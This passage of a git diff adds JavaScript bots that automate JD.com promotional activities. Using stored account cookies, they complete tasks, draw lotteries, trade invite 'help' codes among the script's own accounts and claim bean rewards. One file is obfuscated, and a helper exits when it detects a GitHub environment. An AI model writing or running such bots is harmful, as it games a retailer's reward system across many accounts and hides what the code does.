]+)(?=;?)/)[1]); + if(!useInfo[$.UserName]){ + continue; + } + $.encryptProjectId = useInfo[$.UserName]; + for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { + $.codeInfo = $.allInvite[j]; + $.code = $.codeInfo.code; + if($.UserName === $.codeInfo.userName || $.codeInfo.time === 3){ + continue; + } + $.encryptAssignmentId = $.codeInfo.encryptAssignmentId; + console.log(`\n${$.UserName},去助力:${$.code}`); + await takeRequest('help'); + await $.wait(1000); + } + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) + +async function main() { + $.runFlag = false; + $.activityInfo = {}; + await takeRequest('superBrandSecondFloorMainPage'); + if(JSON.stringify($.activityInfo) === '{}'){ + console.log(`获取活动详情失败`); + $.flag = true + return ; + } + console.log(`获取活动详情成功`); + $.activityId = $.activityInfo.activityBaseInfo.activityId; + $.activityName = $.activityInfo.activityBaseInfo.activityName; + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`当前活动:${$.activityName},ID:${$.activityId},可抽奖次数:${$.callNumber}`); + $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; + useInfo[$.UserName] = $.encryptProjectId; + await $.wait(1000); + $.taskList = []; + await takeRequest('superBrandTaskList'); + await $.wait(1000); + await doTask(); + if($.runFlag){ + await takeRequest('superBrandSecondFloorMainPage'); + $.callNumber = $.activityInfo.activityUserInfo.userStarNum; + console.log(`可抽奖次数:${$.callNumber}`); + } + for (let i = 0; i < $.callNumber; i++) { + console.log(`进行抽奖`); + await takeRequest('superBrandTaskLottery');//抽奖 + await $.wait(1000); + } +} +async function doTask(){ + for (let i = 0; i < $.taskList.length; i++) { + $.oneTask = $.taskList[i]; + if($.oneTask.completionFlag){ + console.log(`任务:${$.oneTask.assignmentName},已完成`); + continue; + } + if($.oneTask.assignmentType === 3 || $.oneTask.assignmentType === 0 || $.oneTask.assignmentType === 1 || $.oneTask.assignmentType === 7){ + if($.oneTask.assignmentType === 7){ + console.log(`任务:${$.oneTask.assignmentName},尝试领取开卡奖励;(不会自动开卡,如果你已经是会员,则会领取成功)`); + }else{ + console.log(`任务:${$.oneTask.assignmentName},去执行`); + } + let subInfo = $.oneTask.ext.followShop || $.oneTask.ext.brandMemberList || $.oneTask.ext.shoppingActivity ||''; + if(subInfo && subInfo[0]){ + $.runInfo = subInfo[0]; + }else{ + $.runInfo = {'itemId':null}; + } + await takeRequest('superBrandDoTask'); + await $.wait(1000); + $.runFlag = true; + }else if($.oneTask.assignmentType === 2){ + console.log(`助力码:${$.oneTask.ext.assistTaskDetail.itemId}`); + $.allInvite.push({ + 'userName':$.UserName, + 'code':$.oneTask.ext.assistTaskDetail.itemId, + 'time':0, + 'max':true, + 'encryptAssignmentId':$.oneTask.encryptAssignmentId + }); + } else if($.oneTask.assignmentType === 5) { + let signList = $.oneTask.ext.sign2 || []; + if (signList.length === 0) { + console.log(`任务:${$.oneTask.assignmentName},信息异常`); + } + //if ($.oneTask.assignmentName.indexOf('首页下拉') !== -1) { + for (let j = 0; j < signList.length; j++) { + if (signList[j].status === 1) { + console.log(`任务:${$.oneTask.assignmentName},去执行,请稍稍`); + let itemId = signList[j].itemId; + $.runInfo = {'itemId':itemId}; + await takeRequest('superBrandDoTask'); + await $.wait(3000); + } + } + //} + } + } +} +async function takeRequest(type) { + let url = ``; + let myRequest = ``; + switch (type) { + case 'superBrandSecondFloorMainPage': + url = `https://api.m.jd.com/api?functionId=superBrandSecondFloorMainPage&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22%7D`; + break; + case 'superBrandTaskList': + url = `https://api.m.jd.com/api?functionId=superBrandTaskList&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22assistInfoFlag%22:1%7D`; + break; + case 'superBrandDoTask': + if($.runInfo.itemId === null){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22completionFlag%22:1,%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + }else{ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0%7D`; + } + if($.oneTask.assignmentType === 5){ + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.oneTask.encryptAssignmentId}%22,%22assignmentType%22:${$.oneTask.assignmentType},%22itemId%22:%22${$.runInfo.itemId}%22,%22actionType%22:0,%22dropDownChannel%22:1%7D`; + } + break; + case 'superBrandTaskLottery': + url = `https://api.m.jd.com/api?functionId=superBrandTaskLottery&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId}%7D`; + break; + case 'help': + url = `https://api.m.jd.com/api?functionId=superBrandDoTask&appid=ProductZ4Brand&client=wh5&t=${Date.now()}&body=%7B%22source%22:%22secondfloor%22,%22activityId%22:${$.activityId},%22encryptProjectId%22:%22${$.encryptProjectId}%22,%22encryptAssignmentId%22:%22${$.encryptAssignmentId}%22,%22assignmentType%22:2,%22itemId%22:%22${$.code}%22,%22actionType%22:0%7D`; + break; + default: + console.log(`错误${type}`); + } + myRequest = getRequest(url); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`返回信息异常:${data}\n`); + return; + } + switch (type) { + case 'superBrandSecondFloorMainPage': + if(data.code === '0' && data.data && data.data.result){ + $.activityInfo = data.data.result; + } + break; + case 'superBrandTaskList': + if(data.code === '0'){ + $.taskList = data.data.result.taskList; + } + break; + case 'superBrandDoTask': + if(data.code === '0'){ + console.log(JSON.stringify(data.data.bizMsg)); + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'superBrandTaskLottery': + if(data.code === '0' && data.data.bizCode !== 'TK000'){ + $.runFlag = false; + console.log(`抽奖次数已用完`); + }else if(data.code === '0' && data.data.bizCode == 'TK000'){ + if(data.data && data.data.result && data.data.result.rewardComponent && data.data.result.rewardComponent.beanList){ + if(data.data.result.rewardComponent.beanList.length >0){ + console.log(`获得豆子:${data.data.result.rewardComponent.beanList[0].quantity}`) + } + } + }else{ + $.runFlag = false; + console.log(`抽奖失败`); + } + //console.log(JSON.stringify(data)); + break; + + case 'help': + if(data.code === '0' && data.data.bizCode === '0'){ + $.codeInfo.time ++; + console.log(`助力成功`); + }else if (data.code === '0' && data.data.bizCode === '104'){ + $.codeInfo.time ++; + console.log(`已助力过`); + }else if (data.code === '0' && data.data.bizCode === '108'){ + $.canHelp = false; + console.log(`助力次数已用完`); + }else if (data.code === '0' && data.data.bizCode === '103'){ + console.log(`助力已满`); + $.codeInfo.time = 3; + }else if (data.code === '0' && data.data.bizCode === '2001'){ + $.canHelp = false; + console.log(`黑号`); + }else{ + console.log(JSON.stringify(data)); + } + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getRequest(url) { + const headers = { + 'Origin' : `https://pro.m.jd.com`, + 'Cookie' : $.cookie , + 'Connection' : `keep-alive`, + 'Accept' : `application/json, text/plain, */*`, + 'Referer' : `https://pro.m.jd.com/mall/active/4UgUvnFebXGw6CbzvN6cadmfczuP/index.html`, + 'Host' : `api.m.jd.com`, + 'User-Agent' : UA, + 'Accept-Language' : `zh-cn`, + 'Accept-Encoding' : `gzip, deflate, br` + }; + return {url: url, headers: headers,body:``}; +} + +function randomWord(randomFlag, min, max){ + var str = "", + range = min, + arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']; + + // 随机产生 + if(randomFlag){ + range = Math.round(Math.random() * (max-min)) + min; + } + for(var i=0; i { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_superBrandJK.js b/jd_superBrandJK.js new file mode 100644 index 0000000..dab94c1 --- /dev/null +++ b/jd_superBrandJK.js @@ -0,0 +1,293 @@ +/* + 特务集卡 + 脚本没有自动开卡,会尝试领取开卡奖励 + 第一个CK黑号会退出 +cron:2 10,18,20 * * * + +2 10,18,20 * * * jd_superBrandJK.js +*/ + +const $ = new Env('特务集卡'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +console.log('\n活动地址:首页下拉,需要开卡才能100%集齐,没有开卡的手动开,集齐晚上8点后瓜分\n') +let shareList=[]; +$.flag = false +!(async()=>{ + if(!cookiesArr[0]){ + $.msg($.name,'【提示】请先获取京东账号一cookie直接使用NobyDa的京东签到获取','https://bean.m.jd.com/bean/signIndex.action',{'open-url':'https://bean.m.jd.com/bean/signIndex.action'}); + return; + } + for(let _0x44559b=0;_0x44559b{ + $.log('','❌ '+$.name+', 失败! 原因: '+_0x307399+'!',''); +}).finally(()=>{ + $.done(); +}); +async function main(_0x14f2ac){ + let _0xc6f9d4=decodeURIComponent(_0x14f2ac.match(/pt_pin=(.+?);/)&&_0x14f2ac.match(/pt_pin=(.+?);/)[1]); + let _0x43a9de=await takeRequest(_0x14f2ac,'showSecondFloorCardInfo','{"source":"card"}'); + if(JSON.stringify(_0x43a9de)==='{}'||!_0x43a9de||!_0x43a9de.result||!_0x43a9de.result.activityBaseInfo){ + console.log('本期活动结束,等待下期。。。'); + $.flag = true + return; + } + let _0x215414=_0x43a9de.result.activityBaseInfo; + let _0x23add7=_0x215414.activityId; + let _0x5bf325=await takeRequest(_0x14f2ac,'superBrandTaskList','{"source":"card","activityId":'+_0x23add7+',"assistInfoFlag":1}'); + if((JSON.stringify(_0x5bf325)==='{}')||(JSON.stringify(_0x43a9de)==='{}')){ + console.log(_0xc6f9d4+',获取活动详情失败2'); + return; + } + if(!_0x5bf325||!_0x5bf325.result||!_0x5bf325.result.taskList){ + console.log(_0xc6f9d4+',黑号'); + return; + } + let _0x183c5a=_0x5bf325.result.taskList||[]; + console.log(''+_0xc6f9d4+',获取活动详情成功'); + let _0x5add38=_0x215414.encryptProjectId; + let _0x34eeb3=_0x43a9de.result.activityCardInfo; + if((_0x34eeb3.divideTimeStatus===1)&&(_0x34eeb3.divideStatus===0)&&_0x34eeb3.cardStatus===1){ + console.log(_0xc6f9d4+',去瓜分'); + let _0x2a25b6=await takeRequest(_0x14f2ac,'superBrandTaskLottery','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","tag":"divide"}'); + console.log('瓜分结果:'+_0x2a25b6.result.userAwardInfo.beanNum+'豆\n'); + return; + }else if(_0x34eeb3.divideTimeStatus===1&&_0x34eeb3.divideStatus===1&&(_0x34eeb3.cardStatus===1)){ + console.log(_0xc6f9d4+',已瓜分'); + return; + }else{ + console.log(_0xc6f9d4+',未集齐或者未到瓜分时间'); + } + await $.wait(2000); + for(let _0x5813c8=0;_0x5813c8<_0x183c5a.length;_0x5813c8++){ + let _0x4a424c=_0x183c5a[_0x5813c8]; + if(_0x4a424c.assignmentType===2){ + let _0x2ec90c=_0x4a424c.ext.cardAssistBoxRest||'0'; + for(let _0x5d0f56=0;_0x5d0f56<_0x2ec90c;_0x5d0f56++){ + console.log('领取助力奖励'); + let _0x9b8d5a=await takeRequest(_0x14f2ac,'superBrandTaskLottery','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'"}'); + console.log('领取结果:'+_0x9b8d5a.bizMsg); + await $.wait(3000); + } + }if(_0x4a424c.completionFlag){ + console.log('任务:'+_0x4a424c.assignmentName+',已完成'); + continue; + }if(_0x4a424c.assignmentType===1){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x3c7f29=_0x4a424c.ext.shoppingActivity[0].itemId||''; + if(!_0x3c7f29){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x3c7f29+'","actionType":0}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + }if(_0x4a424c.assignmentType===3){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x440f46=_0x4a424c.ext.followShop[0].itemId||''; + if(!_0x440f46){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x440f46+'","actionType":0}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + }if(_0x4a424c.assignmentType===7){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x25a600=_0x4a424c.ext.brandMemberList[0].itemId||''; + if(!_0x25a600){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x25a600+'","actionType":0}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + }if(_0x4a424c.assignmentType===5){ + let _0x1e4481=_0x4a424c.ext.sign2||[]; + if(_0x1e4481.length===0){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + }if(_0x4a424c.assignmentName==='首页限时下拉'){ + for(let _0x5d0f56=0;_0x5d0f56<_0x1e4481.length;_0x5d0f56++){ + if(_0x1e4481[_0x5d0f56].status===1){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x25a600=_0x1e4481[_0x5d0f56].itemId; + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandDoTask','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4a424c.encryptAssignmentId+'","assignmentType":'+_0x4a424c.assignmentType+',"itemId":"'+_0x25a600+'","actionType":0,"dropDownChannel":1}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + } + } + }else if(_0x4a424c.assignmentName.indexOf('小游戏')!==-1){ + for(let _0x5d0f56=0;_0x5d0f56<_0x1e4481.length;_0x5d0f56++){ + if(_0x1e4481[_0x5d0f56].status===1){ + console.log('任务:'+_0x4a424c.assignmentName+',去执行'); + let _0x5e4237=await takeRequest(_0x14f2ac,'showSecondFloorGameInfo','{"source":"card"}'); + let _0x5bc621=_0x5e4237.result.activityGameInfo.gameCurrentRewardInfo.secCode; + let _0x4e6eb7=_0x5e4237.result.activityGameInfo.gameCurrentRewardInfo.encryptAssignmentId; + await $.wait(3000); + let _0x2d2e7c=await takeRequest(_0x14f2ac,'superBrandTaskLottery','{"source":"card","activityId":'+_0x23add7+',"encryptProjectId":"'+_0x5add38+'","encryptAssignmentId":"'+_0x4e6eb7+'","secCode":"'+_0x5bc621+'"}'); + console.log('执行结果:'+_0x2d2e7c.bizMsg); + await $.wait(3000); + } + } + } + }if(_0x4a424c.assignmentType===2){ + let _0x282818=_0x4a424c.ext.assistTaskDetail.itemId||''; + if(!_0x282818){ + console.log('任务:'+_0x4a424c.assignmentName+',信息异常'); + } + shareList.push({'user':_0xc6f9d4,'activityId':_0x23add7,'encryptProjectId':_0x5add38,'encryptAssignmentId':_0x4a424c.encryptAssignmentId,'itemId':_0x282818,'max':false}); + } + } + await $.wait(2000); + let myaward = await takeRequest(_0x14f2ac,'superBrandShowMyAward','{"source":"card","activityId":'+_0x23add7+'}'); + let rewardList = myaward.result.rewardList; + let y=''; + let x=''; + for(let i=0; i< rewardList.length; i++){ + if(rewardList[i]['rewardType']===3){ + x+=rewardList[i].rewardValue+'\n'; + }else if(rewardList[i]['rewardType']===7){ + x+=rewardList[i].rewardName+' '+rewardList[i].useRange+'\n'; + }else{ + x+=rewardList[i].rewardValue+'\n'; + y+=(rewardList[i].rewardValue+';'); + } + }if(x){ + console.log('\n已获得奖励:\n'+x); + }if(y){ + await notify.sendNotify('特务集卡','京东账号'+_0xc6f9d4+'可能获得实物奖励\n'+y); + } +} +async function takeRequest(_0x419790,_0x5a318a,_0x10cedb){ + let _0x436779=''; + let _0x383bf2='https://api.m.jd.com/?uuid=&client=wh5&area=2_2830_51828_0&appid=ProductZ4Brand&functionId='+_0x5a318a+'&t='+Date.now()+'&body='+encodeURIComponent(_0x10cedb); + const _0xb17315={ + 'Origin':'https://prodev.m.jd.com','Cookie':_0x419790,'Connection':'keep-alive','Accept':'application/json, text/plain, */*','Referer':'https://prodev.m.jd.com/mall/active/2XsicQEdY1CY4tLw96HmFCzn1MNn/index.html','Host':'api.m.jd.com','user-agent':$.isNode()?process.env.JD_USER_AGENT?process.env.JD_USER_AGENT:require('./USER_AGENTS').USER_AGENT:$.getdata('JDUA')?$.getdata('JDUA'):'jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1','Accept-Language':'zh-cn','Accept-Encoding':'gzip, deflate, br' + }; + let _0x257f89={'url':_0x383bf2,'headers':_0xb17315,'body':_0x436779}; + return new Promise(async _0x3ed0bf=>{ + $.post(_0x257f89,(_0x4748bf,_0x21a504,_0x340c8a)=>{ + try{ + if(_0x4748bf){ + console.log(_0x4748bf); + }else{ + _0x340c8a=JSON.parse(_0x340c8a); + if(_0x340c8a&&_0x340c8a.data&&(JSON.stringify(_0x340c8a.data)==='{}')){ + console.log(JSON.stringify(_0x340c8a)); + } + } + }catch(_0xd9c1ae){ + console.log(_0x340c8a); + } + finally{ + _0x3ed0bf(_0x340c8a.data||{}); + } + }); + }); +} +function TotalBean(){ + return new Promise(async _0x5b42bb=>{ + const _0x4de18f={'url':'https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2','headers':{ + 'Accept':'application/json,text/plain, 